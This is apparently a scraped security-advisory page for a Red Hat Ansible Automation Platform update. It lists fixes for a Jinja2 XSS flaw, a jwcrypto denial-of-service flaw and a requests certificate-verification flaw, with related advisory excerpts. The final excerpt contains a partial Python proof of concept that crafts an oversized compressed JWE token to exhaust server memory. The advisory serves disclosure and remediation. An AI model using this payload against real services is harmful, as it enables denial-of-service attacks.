A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Red Hat Ansible Automation Platform provides an enterprise framework for building, deploying and managing IT automation at scale. IT Managers can provide top-down guidelines on how automation is applied to individual teams, while automation developers retain the freedom to write tasks that leverage existing knowledge without the overhead. Ansible Automation Platform makes it possible for users across an organization to share, vet, and manage automation content by means of a simple, powerful, and agentless language.Security Fix(es):* automation-controller: jinja2: accepts keys containing non-attribute characters (CVE-2024-34064)* automation-controller: jwcrypto: malicious JWE token can cause denial of service (CVE-2024-28102)* automation-controller: requests: subsequent requests to the same host ignore cert verification (CVE-2024-35195)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Updates and fixes for automation controller:* Fixed a bug where the controller does not respect \"DATABASES[‘OPTIONS’]\" setting, if specified (AAP-26398)* Changed all uses of \"ImplicitRoleField\" to perform an \"on_delete=SET_NULL\" (AAP-25136)* Fixed the HostMetric automated counter to display the correct values (AAP-25115)* Added Django logout redirects (AAP-24543)* automation-controller has been updated to 4.5.8Additional changes:* aap-metrics-utility has been updated to 0.3.0 (AAP-25875)* ansible-core has been updated to 2.15.12 (AAP-25536)Solution:CVEs:CVE-2024-28102References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2268758https://bugzilla.redhat.com/show_bug.cgi?id=2279476https://bugzilla.redhat.com/show_bug.cgi?id=2282114Related news

Ubuntu Security Notice 6787-1 - It was discovered that Jinja2 incorrectly handled certain HTML attributes that were accepted by the xmlattr filter. An attacker could use this issue to inject arbitrary HTML attribute keys and values to potentially execute a cross-site scripting attack.
When making requests through a Requests `Session`, if the first request is made with `verify=False` to disable cert verification, all subsequent requests to the same origin will continue to ignore cert verification regardless of changes to the value of `verify`. This behavior will continue for the lifecycle of the connection in the connection pool. ### Remediation Any of these options can be used to remediate the current issue, we highly recommend upgrading as the preferred mitigation. * Upgrade to `requests>=2.32.0`. * For `requests<2.32.0`, avoid setting `verify=False` for the first request to a host while using a Requests Session. * For `requests<2.32.0`, call `close()` on `Session` objects to clear existing connections if `verify=False` is used. ### Related Links * https://github.com/psf/requests/pull/6655
The `xmlattr` filter in affected versions of Jinja accepts keys containing non-attribute characters. XML/HTML attributes cannot contain spaces, `/`, `>`, or `=`, as each would then be interpreted as starting a separate attribute. If an application accepts keys (as opposed to only values) as user input, and renders these in pages that other users see as well, an attacker could use this to inject other attributes and perform XSS. The fix for the previous GHSA-h5c8-rqwp-cp95 CVE-2024-22195 only addressed spaces but not other characters. Accepting keys as user input is now explicitly considered an unintended use case of the `xmlattr` filter, and code that does so without otherwise validating the input should be flagged as insecure, regardless of Jinja version. Accepting _values_ as user input continues to be safe.
## Affected version Vendor: https://github.com/latchset/jwcrypto Version: 1.5.5 ## Description An attacker can cause a DoS attack by passing in a malicious JWE Token with a high compression ratio. When the server processes this Token, it will consume a lot of memory and processing time. ## Poc ```python from jwcrypto import jwk, jwe from jwcrypto.common import json_encode, json_decode import time public_key = jwk.JWK() private_key = jwk.JWK.generate(kty='RSA', size=2048) public_key.import_key(**json_decode(private_key.export_public())) payload = '{"u": "' + "u" * 400000000 + '", "uu":"' + "u" * 400000000 + '"}' protected_header = { "alg": "RSA-OAEP-256", "enc": "A256CBC-HS512", "typ": "JWE", "zip": "DEF", "kid": public_key.thumbprint(), } jwetoken = jwe.JWE(payload.encode('utf-8'), recipient=public_key, protected=protected_header) enc = jwetoken.serialize(compact=True) print("-----uncompress-----") print(len(enc)) begin =...
